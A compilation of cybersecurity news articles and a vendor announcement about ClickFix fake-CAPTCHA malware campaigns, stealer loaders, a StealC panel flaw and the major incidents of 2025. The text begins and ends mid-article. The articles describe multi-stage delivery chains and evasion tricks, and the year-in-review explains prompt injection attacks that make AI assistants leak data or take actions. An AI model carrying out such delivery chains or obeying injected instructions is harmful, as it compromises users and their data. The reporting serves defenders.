resilience by rapidly migrating to new hosting providers and adapting alternative loaders and delivery techniques," the Romanian cybersecurity company said. "At the core of many of these campaigns is CastleLoader, which plays a central role in helping LummaStealer spread through delivery chains." Interestingly, one of the domains on CastleLoader's infrastructure ("testdomain123123[.]shop") was flagged as a Lumma Stealer command-and-control (C2), indicating that the operators of the two malware families are either working together or sharing service providers. The majority of Lumma Stealer infections have been recorded in India, followed by France, the U.S., Spain, Germany, Brazil, Mexico, Romania, Italy, and Canada. "The effectiveness of ClickFix lies in its abuse of procedural trust rather than technical vulnerabilities," Bitdefender said. "The instructions resemble troubleshooting steps or verification workarounds that users may have encountered previously. As a result, victims often fail to recognize that they are manually executing arbitrary code on their own system." CastleLoader is not the only loader that's being used to distribute Lumma Stealer. Campaigns observed as early as March 2025 have leveraged another loader dubbed RenEngine Loader, with the malware propagated under the guise of game cheats and pirated software like CorelDRAW graphics editor. In these attacks, the loader makes way for a secondary loader named Hijack Loader, which then deploys Lumma Stealer. According to data from Kaspersky, RenEngine Loader attacks have primarily affected users in Russia, Brazil, Turkey, Spain, Germany, Mexico, Algeria, Egypt, Italy, and France since March 2025. The developments coincide with the emergence of various campaigns using social engineering lures, including ClickFix, to deliver a variety of stealers and malware loaders - A macOS campaign that has used phishing and malvertising ploys to deliver Odyssey Stealer, a rebrand of Poseidon Stealer, which itself is a fork of Atomic macOS Stealer (AMOS). The stealer exfiltrates credentials and data from 203 browser wallet extensions and 18 desktop wallet applications to facilitate cryptocurrency theft. "Beyond credential theft, Odyssey operates as a full remote access trojan," Censys said. "A persistent LaunchDaemon polls the C2 every 60 seconds for commands, supporting arbitrary shell execution, reinfection, and a SOCKS5 proxy for tunneling traffic through victim machines." A ClickFix attack chain targeting Windows systems that uses fake CAPTCHA verification pages on legitimate-but-compromised websites to trick users into executing PowerShell commands that deploy the StealC information stealer. An email phishing campaign that uses a malicious SVG file contained within a password‑protected ZIP archive to instruct the victim to run a PowerShell command using ClickFix, ultimately resulting in the deployment of an open-source .NET infostealer called Stealerium. A campaign that exploits the public sharing feature of generative artificial intelligence (AI) services like Anthropic Claude to stage malicious ClickFix instructions on how to perform a variety of tasks on macOS (e.g., "online DNS resolver"), and distribute these links via sponsored results on search engines like Google to deploy Atomic Stealer and MacSync Stealer. A campaign that directs users searching for "macOS cli disk space analyzer" to a fake Medium article impersonating Apple's Support Team to deceive them into running ClickFix instructions that deliver next-stage stealer payloads from an external server "raxelpak[.]com." "The C2 domain raxelpak[.]com has URL history going back to 2021, when it appeared to host a safety workwear e-commerce site," MacPaw's Moonlock Lab said. "Whether the domain was hijacked or simply expired and re-registered by the [threat actor] is unclear, but it fits the broader pattern of leveraging aged domains with existing reputation to avoid detection." A variation of the same campaign that stages ClickFix instructions for supposedly installing Homebrew on links associated with Claude and Evernote and distributes them through sponsored results to install stealer malware. "The ad shows a real, recognized domain (claude.ai), not a spoof or typo-squatted site," AdGuard said. "Clicking the ad leads to a real Claude page, not a phishing copy. The consequence is clear: Google Ads + a well-known trusted platform + technical users with high downstream impact = a potent malware distribution vector." A macOS email phishing campaign that prompts recipients to download and run an AppleScript file to address supposed compatibility issues, resulting in the deployment of another AppleScript designed to steal credentials and retrieve additional JavaScript payloads. "The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions," Darktrace said. A ClearFake campaign that employs fake CAPTCHA lures on compromised WordPress sites to trigger the execution of an HTML Application (HTA) file and deploy Lumma Stealer. The campaign is also known to use malicious JavaScript injections to take advantage of a technique known as EtherHiding to execute a contract hosted on the BNB Smart Chain and fetch an unknown payload hosted on GitHub. EtherHiding offers attackers several advantages. It allows malicious traffic to blend with legitimate Web3 activity. Because blockchain is immutable and decentralized, it also offers increased resilience in the face of takedown efforts. The use of ClickFix techniques to target macOS underlines a broader trend where threat actors are increasingly seeking out machines that run Apple's operating system to infect them with infostealers and sophisticated tools, per a recent analysis published by Flare. No less than 103 Chrome crypto extensions are targeted by macOS stealers, with attackers obtaining valid Apple developer signatures to bypass Gatekeeper protections. "Nearly every macOS stealer prioritizes cryptocurrency theft above all else," the company said. "This laser focus reflects economic reality. Cryptocurrency users disproportionately use Macs. They often hold significant value in software wallets. Unlike bank accounts, crypto transactions are irreversible. Once seed phrases are compromised, funds disappear permanently with no recourse." "The 'Macs don't get viruses' assumption is not just outdated but actively dangerous. Organizations with Mac users need detection capabilities for macOS-specific TTPs: unsigned applications requesting passwords, unusual Terminal activity, connections to blockchain nodes for non-financial purposes, and data exfiltration patterns targeting Keychain and browser storage."
thehackernews.comFeb 15, 2026extracted
ClickFix Attacks Expand Using Fake CAPTCHAs, Microsoft Scripts, and Trusted Web Services
Cybersecurity researchers have disclosed details of a new campaign that combines ClickFix-style fake CAPTCHAs with a signed Microsoft Application Virtualization (App-V) script to distribute an information stealer called Amatera. "Instead of launching PowerShell directly, the attacker uses this script to control how execution begins and to avoid more common, easily recognized execution paths," Blackpoint researchers Jack Patrick and Sam Decker said in a report published last week. In doing so, the idea is to transform the App-V script into a living-off-the-land (LotL) binary that proxies the execution of PowerShell through a trusted Microsoft component to conceal the malicious activity. The starting point of the attack is a fake CAPTCHA verification prompt that seeks to trick users into pasting and executing a malicious command on the Windows Run dialog. But here is where the attack diverges from traditional ClickFix attacks. The supplied command, rather than invoking PowerShell directly, abuses "SyncAppvPublishingServer.vbs," a signed Visual Basic Script associated with App-V to retrieve and execute an in-memory loader from an external server using "wscript.exe." It's worth noting that the misuse of "SyncAppvPublishingServer.vbs" is not new. In 2022, two different threat actors from China and North Korea, tracked as DarkHotel and BlueNoroff, were observed leveraging the LOLBin exploit to stealthily execute a PowerShell script. But this is the first time it has been observed in ClickFix attacks. "Adversaries may abuse SyncAppvPublishingServer.vbs to bypass PowerShell execution restrictions and evade defensive counter measures by 'living off the land,'" MITRE notes in its ATT&CK framework. "Proxying execution may function as a trusted/signed alternative to directly invoking 'powershell.exe.'" The use of an App-V script is also significant as the virtualization solution is built only into Enterprise and Education editions of Windows 10 and Windows 11, along with modern Windows Server versions. It's not available for Windows Home or Pro installations. In Windows operating systems where App-V is either absent or not enabled, the execution of the command fails outright. This also indicates that enterprise managed systems are likely the primary targets of the campaign. The obfuscated loader runs checks to ensure that it's not run within sandboxed environments, and then proceeds to fetch configuration data from a public Google Calendar (ICS) file, essentially turning a trusted third-party service into a dead drop resolver. "By externalizing configuration in this way, the actor can rapidly rotate infrastructure or adjust delivery parameters without redeploying earlier stages of the chain, reducing operational friction and extending the lifespan of the initial infection vector," the researchers pointed out. Parsing the calendar event file leads to the retrieval of additional loader stages, including a PowerShell script that functions as an intermediate loader to execute the next stage, another PowerShell script, directly in memory. This step, in turn, results in the retrieval of a PNG image from domains like "gcdnb.pbrd[.]co" and "iili[.]io" via WinINet APIs that conceals an encrypted and compressed PowerShell payload. The resulting script is decrypted, GZip decompressed in memory, and run using Invoke-Expression, ultimately culminating in the execution of a shellcode loader that's designed to launch Amatera Stealer. "What makes this campaign interesting isn't any single trick, but how carefully thought-out everything is when chained together," Blackpoint concluded. "Each stage reinforces the last, from requiring manual user interaction, to validating clipboard state, to pulling live configuration from a trusted third-party service." "The result is an execution flow that only progresses when it unfolds (almost) exactly as the attacker expects, which makes both automated detonation and casual analysis significantly harder." The Evolution of ClickFix: FileFix, JackFix, CrashFix, and GlitchFix The disclosure comes as ClickFix has become one of the most widely used initial access methods in the last year, accounting for 47% of the attacks observed by Microsoft. Recent ClickFix campaigns have targeted social media content creators by claiming they are eligible for free verified badges, instructing them via videos to copy authentication tokens from their browser cookies into a fake form to complete the supposed verification process. The embedded video also informs the user to "not log out for at least 24 hours" to keep the authentication tokens valid. The campaign, active since at least September 2025, is estimated to have used 115 web pages across the attack chain and eight exfiltration endpoints, per Hunt.io. The main targets of the activity include creators, monetized pages, and businesses seeking verification, with the end goal being to facilitate account takeover following token theft. "Defending against the ClickFix technique is uniquely challenging because the attack chain is built almost entirely on legitimate user actions and the abuse of trusted system tools," Martin Zugec, technical solutions director at Bitdefender, said in a report last month. "Unlike traditional malware, ClickFix turns the user into the initial access vector, making the attack look benign from an endpoint defense perspective." ClickFix is also constantly evolving, utilizing variants like FileFix, JackFix and CrashFix to deceive the victims into infecting their own machines. While operators use several methods to attempt to convince a target to perform command execution, the growing popularity of the social engineering technique has paved the way for ClickFix builders that are advertised on hacker forums for anywhere between $200 to $1,500 per month. The latest entrant to this threat landscape is ErrTraffic, a traffic distribution system (TDS) that's specifically designed for ClickFix-like campaigns by causing compromised websites injected with malicious JavaScript to glitch and then suggesting a fix to address the non-existent problem. This technique has been codenamed GlitchFix. The malware-as-a-service (MaaS) supports three different file distribution modes that involve using fake browser update alerts, fake "system font required" dialogs, and bogus missing system font errors to trigger the execution of malicious commands. ErrTraffic is explicitly blocked from running on machines located in the Commonwealth of Independent States (CIS) countries. "ErrTraffic doesn't just show a fake update prompt, it actively corrupts the underlying page to make victims believe something is genuinely wrong," Censys said. "It also applies CSS transformations that make everything look broken." ClickFix has also been adopted by threat actors behind the ClearFake campaign, which is known to infect sites with fake web browser update decoys on compromised WordPress to distribute malware. ClearFake's use of ClickFix was first recorded in May 2024, leveraging CAPTCHA challenges for delivering Emmenhtal Loader (aka PEAKLIGHT), which then drops Lumma Stealer. The attack chain also makes use of another known technique referred to as EtherHiding to retrieve the next-stage JavaScript code using smart contracts on Binance's BNB Smart Chain (BSC) and eventually inject the ClickFix fake CAPTCHA obtained from a different smart contract into the web page. At the same time, the final stage avoids re-infecting already infected victims. Like in the case of the Amatera Stealer attack, the ClickFix command copied to the clipboard abuses "SyncAppvPublishingServer.vbs" to obtain the final payload hosted on the jsDelivr content delivery network (CDN). Expel's analysis of the ClearFake campaign shows that as many as 147,521 systems have likely been infected since late August 2025. "One of many factors security products use to decide if behavior is malicious or not is whether said behavior is being performed by a trusted application," security researcher Marcus Hutchins said. "In this case, 'SyncAppvPublishingServer.vbs' is a default Windows component, and the file can only be modified by TrustedInstaller (a highly privileged system account used internally by the operating system). Therefore, the file and its behavior alone would not normally be suspect." "Organizations and EDR are unlikely to outright block 'SyncAppvPublishingServer.vbs' from launching PowerShell in hidden mode, as it would prevent the component from being used for its intended purpose. Consequently, by abusing the command line injection bug in 'SyncAppvPublishingServer.vbs,' attackers can execute arbitrary code via a trusted system component." Expel also characterized the campaign as highly sophisticated and very evasive, owing to the use of in-memory PowerShell code execution, coupled with its reliance on blockchain and popular CDNs, thus ensuring that it does not communicate with any infrastructure that's not a legitimate service. Censys has described the broader fake CAPTCHA ecosystem as a "fragmented, fast-changing abuse pattern that uses trusted web infrastructure as the delivery surface," wherein Cloudflare-style challenges act as a conduit for clipboard-driven execution of PowerShell commands, VB Scripts, MSI installers, and even hand-offs to browser-native frameworks like Matrix Push C2. "This aligns with a broader shift toward Living Off the Web: systematic reuse of security-themed interfaces, platform-sanctioned workflows, and conditioned user behavior to deliver malware," the attack surface management firm said. "Attackers do not need to compromise trusted services; they inherit trust by operating inside familiar verification and browser workflows that users and tooling are trained to accept."
thehackernews.comJan 27, 2026extracted
Security Bug in StealC Malware Panel Let Researchers Spy on Threat Actor Operations
Cybersecurity researchers have disclosed a cross-site scripting (XSS) vulnerability in the web-based control panel used by operators of the StealC information stealer, allowing them to gather crucial insights on one of the threat actors using the malware in their operations. "By exploiting it, we were able to collect system fingerprints, monitor active sessions, and – in a twist that will surprise no one – steal cookies from the very infrastructure designed to steal them," CyberArk researcher Ari Novick said in a report published last week. StealC is an information stealer that first emerged in January 2023 under a malware-as-a-service (MaaS) model, allowing potential customers to leverage YouTube as a primary mechanism – a phenomenon called the YouTube Ghost Network – to distribute the malicious program by disguising it as cracks for popular software. Over the past year, the stealer has also been observed being propagated via rogue Blender Foundation files and a social engineering tactic known as FileFix. StealC, in the meantime, received updates of its own, offering Telegram bot integration for sending notifications, enhanced payload delivery, and a redesigned panel. The updated version was codenamed StealC V2. Weeks later, the source code for the malware's administration panel was leaked, providing an opportunity for the research community to identify characteristics of the threat actor's computers, such as general location indicators and computer hardware details, as well as retrieve active session cookies from their own machines. The exact details of the XSS flaw in the panel have not been disclosed to prevent the developers from plugging the hole or enabling any other copycats from using the leaked panel to try to start their own stealer MaaS offerings. In general, XSS flaws are a form of client-side injections that allows an attacker to get a susceptible website to execute malicious JavaScript code in the web browser on the victim's computer when the site is loaded. They arise as a result of not validating and correctly encoding user input, allowing a threat actor to steal cookies, impersonate them, and access sensitive information. "Given the core business of the StealC group involves cookie theft, you might expect the StealC developers to be cookie experts and to implement basic cookie security features, such as httpOnly, to prevent researchers from stealing cookies via XSS," Novick said. "The irony is that an operation built around large-scale cookie theft failed to protect its own session cookies from a textbook attack." CyberArk also shared details of a StealC customer named YouTubeTA (short for "YouTube Threat Actor"), who has extensively used Google's video sharing platform to distribute the stealer by advertising cracked versions of Adobe Photoshop and Adobe After Effects, amassing over 5,000 logs that contained 390,000 stolen passwords and more than 30 million stolen cookies. Most of the cookies are assessed to be tracking cookies and other non-sensitive cookies. It's suspected that these efforts have enabled the threat actor to seize control of legitimate YouTube accounts and use them to promote cracked software, creating a self-perpetuating propagation mechanism. There is also evidence highlighting the use of ClickFix-like fake CAPTCHA lures to distribute StealC, suggesting they aren't confined to infections through YouTube. Further analysis has determined that the panel enables operators to create multiple users and differentiate between admin users and regular users. In the case of YouTubeTA, the panel has been found to feature only one admin user, who is said to be using an Apple M3 processor-based machine with English and Russian language settings. In what can be described as an operational security blunder on the threat actor's part, their location was exposed around mid-July 2025 when the threat actor forgot to connect to the StealC panel through a virtual private network (VPN). This revealed their real IP address, which was associated with a Ukrainian provider called TRK Cable TV. The findings indicate that YouTubeTA is a lone-wolf actor operating from an Eastern European country where Russian is commonly spoken. The research also underscores the impact of the MaaS ecosystem, which empowers threat actors to mount at scale within a short span of time, while inadvertently also exposing them to security risks legitimate businesses deal with. "The StealC developers exhibited weaknesses in both their cookie security and panel code quality, allowing us to gather a great deal of data about their customers," CyberArk said. "If this holds for other threat actors selling malware, researchers and law enforcement alike can leverage similar flaws to gain insights into, and perhaps even reveal the identities of, many malware operators."
thehackernews.comJan 19, 2026extracted
The biggest cybersecurity and cyberattack stories of 2025
2025 was a big year for cybersecurity, with major cyberattacks, data breaches, threat groups reaching new notoriety levels, and, of course, zero-day vulnerabilities exploited in incidents. Some stories, though, were more impactful or popular with our readers than others. Below are fifteen of what BleepingComputer believes are the most impactful cybersecurity topics of 2025, with a summary of each. These stories are in no particular order. The ShinyHunters extortion gang is extorting PornHub after stealing the company's Premium member activity data from third-party analytics provider Mixpanel. The attackers claim to have stolen roughly 94 GB of data containing over 200 million records of subscribers' viewing, search, and download activity. They are threatening to release it unless an extortion demand is paid. While the breach does not involve financial credentials, the potential public release of detailed adult-content activity could have significant personal and reputational ramifications for affected users. Similar disclosures in past incidents involving sensitive relationship data, such as the Ashley Madison breach, were linked to real-world harm. In 2025, ClickFix attacks became widely adopted by numerous threat actors, including state-sponsored hacking groups and ransomware gangs. What started as a Windows malware campaign, quickly expanded to macOS and Linux, with attacks that installed infostealers, RATs, and other malware. ClickFix social engineering attacks are webpages designed to display an error or issue and then offer "fixes" to resolve it. These errors could be fake error messages, security warnings, CAPTCHA challenges, or update notices that instruct visitors to run PowerShell or shell commands to resolve the issue. Victims end up infecting their own machines by running malicious PowerShell or shell commands provided in the attacker's instructions. ClickFix campaigns use a wide range of lures, including fake Windows Update screens, fake software activation videos on TikTok, and fake CAPTCHA challenges with video instructions that instruct victims to copy and paste commands that download and execute malware. Researchers observed ClickFix variants targeting macOS that tricked victims into running malicious shell commands in Terminal that installed infostealers. Linux users were not spared either, with an APT36 phishing campaign specifically targeting them. ClickFix attacks continued to evolve throughout the year, with researchers and threat actors creating new variants of the social engineering attack. A recently seen variant called ConsentFix hijacks Microsoft accounts by abusing the Azure CLI OAuth flow, tricking victims into completing an OAuth consent process that yields access tokens. Another variant called FileFix uses the Windows File Explorer address bar to trick people into executing malicious PowerShell commands. This month, ClickFix attacks were further commercialized with a new paid-for 'ErrTraffic' platform that automates the delivery of ClickFix-powered malware attacks. In one of the largest cryptocurrency thefts ever recorded, attackers stole approximately $1.5 billion in Ethereum from ByBit's cold wallet in February. An investigation linked the theft to North Korea's Lazarus hacking group, and the FBI later confirmed the group was responsible for the attack. Researchers determined that the breach was conducted via a compromised developer machine belonging to a Safe{Wallet} developer, which was used in Bybit's wallet operations. Attackers used their access to the developer device to manipulate transaction approvals, which allowed them to drain the cold wallet. In addition to Bybit, other crypto thefts targeting exchanges and wallets included an $85 million theft from Phemex, a $223 million heist from Cetus Protocol, a $27 million breach at BigONE, and a $7 million attack impacting thousands of Trust Wallet users. In another high-profile incident, pro-Israel hackers breached Iran's Nobitex exchange and burned roughly $90 million in cryptocurrency. Oracle was targeted in a widespread data theft campaign after the Clop extortion group exploited multiple zero-day vulnerabilities in Oracle E-Business Suite (EBS). Clop exploited an unpatched zero-day flaw in Oracle E-Business Suite, tracked as CVE-2025-61882, to breach servers and steal data. According to CrowdStrike and Mandiant, exploitation began as early as July, with data theft culminating in August. In October, the Clop extortion gang began emailing impacted businesses, warning them that the data would be leaked if a ransom was not paid. A second Oracle zero-day vulnerability tracked as CVE-2025-61884 was disclosed after the ShinyHunters extortion group leaked a PoC exploit on Telegram. Oracle silently fixed this flaw, but it remains unclear whether ShinyHunters successfully used it to steal data. Organizations that disclosed Clop-linked Oracle attacks include Harvard University, Dartmouth College, the University of Pennsylvania, the University of Phoenix, Logitech, GlobalLogic, Korean Air, and Envoy. 2025 saw record-breaking distributed denial-of-service (DDoS) attacks targeting organizations worldwide. Multiple incidents mitigated by Cloudflare demonstrated the increasing firepower of DDoS platforms, with attacks peaking at 5.6 Tbps, 7.3 Tbps, 11.5 Tbps, and later 22.2 Tbps. Much of this growth was attributed to the Aisuru botnet, which emerged as a significant force behind some of the largest DDoS attacks ever recorded. Microsoft reported that Aisuru leveraged more than 500,000 IP addresses in a 15 Tbps attack targeting Azure, with Cloudflare later reporting that the botnet was responsible for an even larger 29.7 Tbps DDoS attack. Over the past couple of years, DDoS operations have become a target of global law enforcement agencies. In 2025, the authorities conducted coordinated takedowns of multiple DDoS-for-hire services, arresting administrators who operated the platforms. Europol also announced the disruption of the pro-Russian NoName057(16) hacktivist group, which had been linked to DDoS campaigns in the past. Cybercriminals are increasingly targeting developers by abusing open-source package and extension repositories, turning them into malware distribution sites. On npm, attackers repeatedly showed how the platform could be abused to promote malicious packages. The IndonesianFoods campaign flooded npm with hundreds of thousands of spam and malicious packages. More targeted supply-chain attacks hijacked legitimate packages with millions of weekly downloads. One of the most damaging efforts was the Shai-Hulud malware campaign, which infected hundreds of npm packages and was used to steal developer secrets and API keys. Attackers also repeatedly targeted IDE extension marketplaces, such as Microsoft's VSCode Marketplace and OpenVSX. One campaign called Glassworm resurfaced multiple times, using VSCode extensions to deliver malware, steal cryptocurrency, install cryptominers, and download additional payloads, including early-stage ransomware. The Python Package Index (PyPi) was also targeted, with malicious PyPi packages and phishing campaigns stealing cloud credentials or backdooring developer systems. This caused PyPI to introduce new controls to limit malicious updates. In 2025, North Korean IT workers infiltrating Western companies became a massive identity threat facing organizations. The US government says that these workers funnel their earnings to the DPRK regime to fund its weapons program and other initiatives. Rather than exploiting software vulnerabilities, North Korean actors increasingly used fake identities, intermediaries, and legitimate employment to gain access to Western companies, often remaining undetected for long periods. US authorities uncovered "laptop farm" operations across at least 16 states, where local helpers received company-issued laptops on behalf of North Korean actors and enabled remote access to corporate environments from North Korea. Investigators also revealed campaigns that recruited engineers to rent or sell their identities, allowing operatives to pass background checks, secure jobs, and access internal systems under false identities. Five individuals later pleaded guilty to helping facilitate these schemes. The US Treasury issued multiple sanctions in 2025 targeting North Korean individuals, front companies, and bankers involved in the IT worker schemes. While not directly related to the North Korean IT worker scheme, 2025 also saw increased "Contagious Interview" campaigns that abused hiring and interview processes as a malware delivery mechanism. In one campaign, North Korean hackers used deepfake Zoom calls impersonating company executives to trick targets into installing macOS malware. In another, attackers abused fake technical interviews to distribute malware through malicious npm packages installed by developers as part of "assessments. First disclosed in 2024, the Salt Typhoon attacks continued through 2025, becoming one of the most damaging cyber-espionage campaigns targeting global telecommunications infrastructure. The attacks are linked to Chinese state-aligned actors known as Salt Typhoon, who focused on long-term, persistent access to telecommunication networks. Throughout the year, additional intrusions were attributed to the campaign across multiple major providers in the United States, Canada, and beyond. The threat actors exploited unpatched Cisco network devices, abused privileged access, and deployed custom malware designed for telecom environments to collect network configurations, monitor traffic, and potentially intercept communications. The threat actors were even linked to breaches of military networks, including the U.S. National Guard, which were used to steal network details, configuration files, and administrator credentials. This information could potentially have been used to breach other sensitive networks. Governments and security agencies publicly attributed these Salt Typhoon breaches to three China-based technology firms. The Federal Communications Commission issued warnings and guidance for carriers to harden networks and monitor for intrusions. Despite the state-hacking risks, the FCC later rolled back proposed cybersecurity rules. As AI systems have become embedded in almost all productivity tools, browsers, and developer environments in 2025, researchers have identified a new class of vulnerabilities known as prompt injection attacks. Unlike traditional software flaws, prompt injection exploits how AI models interpret instructions, allowing attackers to manipulate an AI's behavior by feeding it specially crafted or hidden inputs that override or bypass its original guidance and safeguards. Prompt injection attacks trick AI systems into treating untrusted content as instructions, causing models to leak sensitive data, generate malicious output, or perform unintended actions without exploiting flaws in the code itself. Several high-profile incidents demonstrated these new attacks: Researchers uncovered zero-click data leakage in Microsoft 365 Copilot, where specially crafted emails with hidden prompt injection exposed sensitive information without user interaction. Google Gemini was found to be vulnerable to prompt injection via email summaries and calendar invites, enabling phishing and data exfiltration. AI coding assistants and IDE tools were manipulated through injected prompts to execute or suggest harmful code. A "CometJacking" attack abused prompt injection in Perplexity's Comet AI browser to trick the system into accessing sensitive data from linked services such as email and calendars. Other prompt injection attacks used hidden instructions embedded in downscaled images that humans can't see but AI systems could. In 2025, threat actors focused heavily on social engineering campaigns to target business process outsourcing (BPO) providers and IT help desks to breach corporate networks. Rather than relying on software bugs or malware, attackers tricked help desks into bypassing security controls and granting employees access to their accounts. Hackers associated with Scattered Spider reportedly posed as an employee and fooled a Cognizant help desk into granting them access to the account. This social engineering attack became the focus of a $380 million lawsuit against Cognizant. Other threat actors also utilized these types of attacks, with a group known as "Luna Moth," aka Silent Ransom Group, impersonating IT support to breach multiple U.S. companies. Google reported that Scattered Spider targeted U.S. insurance companies by abusing outsourced support desks to obtain access to internal systems. Retail companies also acknowledged that social engineering attacks against help desks directly enabled major ransomware and data theft breaches. Marks & Spencer (M&S) confirmed that attackers used social engineering to breach its networks and conduct a ransomware attack. Co-op also disclosed data theft following a ransomware incident that abused support personnel. In response to the attacks on M&S and Co-op retail companies, the U.K. government issued guidance on social engineering attacks against help desks and BPOs. Insider threats had a massive impact in 2025, with multiple high-profile incidents showing how employees or consultants with trusted access, whether intentionally abused or not revoked after termination, led to large-scale damage. Coinbase disclosed a data breach affecting 69,461 customers, which later led to the arrest of a former Coinbase support agent who allegedly helped hackers access their systems. CrowdStrike disclosed that it detected an insider feeding information to hackers, including screenshots of internal systems. The insider was reportedly paid $25,000 by a group calling itself the “Scattered Lapsus$ Hunters,” a name referring to overlapping threat actors associated with Scattered Spider, Lapsus$, and ShinyHunters. BleepingComputer was told the activity was detected before the insider could provide access to CrowdStrike’s network. Insider activity also impacted financial organizations, with FinWise Bank disclosing an insider-related breach affecting roughly 689,000 American First Finance customers. In another incident, a bank employee reportedly sold their credentials for just $920, which were later used in a $140 million bank heist at Brazil’s Central Bank. Several incidents also demonstrated the danger posed by disgruntled or former employees. A developer received a four-year prison sentence for creating a “kill switch” designed to sabotage systems at a former employer. Another breach at Coupang was traced to an ex-employee who retained system access after leaving the company. Finally, a ransomware gang attempted to recruit a BBC journalist to help compromise the media organization. In 2025, a series of massive IT outages disrupted services and platforms worldwide, demonstrating how dependent global commerce has become on cloud infrastructure. While none of these incidents were caused by cybersecurity breaches, their impact was so significant that they warrant a mention in this year's top stories. Some of the most significant outages of 2025 were: A global Heroku outage knocked hundreds of web applications offline, affecting both sites and internal tools. A Microsoft DNS outage disrupted Microsoft 365, Azure services, and applications for many organizations. Google attributed one of the largest cloud platform disruptions of the year to an API management problem, which caused wide-ranging failures across services that rely on its cloud infrastructure. An AWS outage took down Amazon Prime Video, Fortnite, Perplexity, and many other services that depend on Amazon's cloud. Cloudflare experienced multiple incidents, including one traced to an emergency patch rollout for the actively exploited React2Shell flaw, which temporarily disrupted its global network services. In 2025, Salesforce became a frequent target of large-scale data theft and extortion campaigns, as threat actors increasingly targeted the platform and its growing third-party services. While Salesforce itself was not breached, attackers repeatedly gained access to customer data through compromised accounts, OAuth tokens, and third-party services, resulting in a steady stream of high-profile breaches. These attacks were mainly linked to the ShinyHunters extortion group and impacted companies across a wide variety of industries, including technology, aviation, cybersecurity, insurance, retail, and luxury goods. Companies impacted by the Salesforce data theft attacks include Google, Cisco, Chanel, Pandora, Allianz Life, Farmers Insurance, Workday, and others. The ShinyHunters extortion gang eventually set up a data-leak site to extort companies affected by these attacks. A significant component of these attacks involved breaching third-party SaaS platforms that interface directly with Salesforce. Attackers breached services such as Salesloft Drift, stealing OAuth tokens and credentials that granted access to connected Salesforce instances. These supply-chain attacks impacted many different companies, including Google, Cloudflare, Zscaler, Tenable, CyberArk, Elastic, BeyondTrust, Proofpoint, JFrog, Nutanix, Qualys, Rubrik, Cato Networks, Palo Alto Networks, and many more. Salesforce also investigated customer data theft linked to a Gainsight breach, which used OAuth tokens stolen in the Salesloft Drift attacks. In 2025, zero-day vulnerabilities remained a widely used method to gain access to corporate networks for data theft, cyber espionage, and ransomware attacks. Network edge devices and internet-exposed services were primary targets for exploitation because they sit between the internet and an internal network. Zero-day flaws in Cisco (ASA firewalls, IOS, AsyncOS, ISE), Fortinet (FortiWeb, FortiVoice), Citrix NetScaler, Ivanti Connect Secure, SonicWall, FreePBX, and CrushFTP were actively exploited in the wild. Microsoft SharePoint was one of the year's biggest zero-day targets, with the ToolShell flaw linked to Chinese threat actors, and later, ransomware gangs. These flaws were used to deploy web shells, steal sensitive data, and maintain persistence inside corporate networks. Windows vulnerabilities were also repeatedly abused, including flaws in shortcut handling and logging services. Consumer and enterprise software also played a role, with 7-Zip and WinRAR zero-day flaws exploited in phishing campaigns to bypass security protections and install malware. Several incidents involved commercial spyware and law enforcement using undisclosed flaws to unlock mobile devices. AI became a helpful tool for attackers this year, as they relied on large language models (LLMs) during intrusions, and to write and deploy malware. Security researchers and vendors reported a growing number of attacks that used AI for faster exploitation, adaptive malware, and higher volumes of attacks. Google warned of new AI-powered malware families observed in the wild, some of which dynamically adapt their behavior to the victim environment. The S1ngularity attack, which impacted thousands of GitHub accounts, highlighted how AI tools could be abused to automate reconnaissance and credential theft. Proof-of-concept malware, such as PromptLock ransomware, used AI LLMs to aid in encryption, data theft, and attacks. In addition to malware, AI is now being used to speed up exploitation attempts. Tools like HexStrike are used to analyze and exploit known vulnerabilities rapidly, reducing the time and skill required to exploit N-day flaws. Threat actors also released LLMs, such as WormGPT 4 and KawaiiGPT, which allow cybercriminals to create AI-powered malware without the restrictions or safeguards. By the end of the year, AI was no longer experimental for attackers and had become another tool for speeding up development, automating attacks, and lowering the barrier to conducting them. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJan 1, 2026extracted
Push Security detects and blocks malicious copy-and-paste activity
Push Security detects and blocks malicious copy-and-paste activity Push Security announced the release of a new feature designed to tackle one of the fastest-growing cyber threats: ClickFix-style attacks. The company’s latest innovation, malicious copy-and-paste detection, blocks users from copying malicious scripts in their web browser, preventing them from being run on machines, and cutting off attackers at the earliest opportunity. Push Security’s malicious copy-and-paste detection identifies and blocks the exact user action that makes ClickFix possible. By monitoring copy events in the browser, Push can distinguish legitimate activity, such as code copied from GitHub or SIEM tools, from malicious scripts. This approach ensures high-fidelity alerts and minimal false positives without disrupting employee workflows or productivity. “ClickFix is now one of the most effective ways attackers have at their disposal to steal business data and disrupt operations,” said Jacques Louw, CPO at Push Security. “Existing email and network security tools struggle to detect it during delivery, and endpoint controls are being routinely bypassed during execution. Our new feature changes the game by stopping these attacks right where they start: in the browser.” ClickFix, also known as fake CAPTCHA attacks with variants like FileFix, has rapidly become a go-to technique for cybercriminals. Reports show a 400% year-over-year increase in ClickFix attacks, with a separate study citing a 517% surge in just the last six months. The attack method is frequently leveraged by groups such as Interlock ransomware and has been linked to several high-profile enterprise breaches in a variety of industries including financial services, healthcare, and retail as well as state and local government. Unlike traditional phishing, ClickFix attacks manipulate victims into copying malicious code from a fake web challenge, such as a CAPTCHA or “page error,” and running it locally. From there, attackers deliver malware, steal credentials and session cookies, and often deploy ransomware for double extortion. “We see attack techniques like ClickFix evolve faster than traditional defenses can keep up. So for us, it is key to study attacker behavior in depth and design protections around the actions they can’t avoid,” said Louw. “This research-driven approach allows us to deliver practical, universally effective controls that other vendors often overlook, and it’s what we believe sets us apart as a true innovator in browser security.” Key benefits of Push’s malicious copy-and-paste detection include: Universal protection: Effective across all ClickFix variants, regardless of lure type, delivery channel, or malware payload. Seamless user experience: Unlike heavy-handed endpoint or DLP controls, Push protects without blocking legitimate copy-paste activity. Early intervention: Stops attackers before malware delivery, rather than relying on endpoint detection after the fact. This new feature adds another layer to Push Security’s browser-based defense platform, which already protects organizations against phishing, session hijacking, credential stuffing, malicious browser extensions, malicious OAuth integrations, and other browser-based attacks. In addition, the research team’s continued deep dive into ClickFix also led to the discovery last week of a new ClickFix-style technique it has since dubbed “ConsentFix.” This new browser-based attack takes over user accounts with a simple copy and paste. If a user is already logged into the app in their browser, they don’t even need to supply credentials, or pass an MFA check, meaning it circumvents 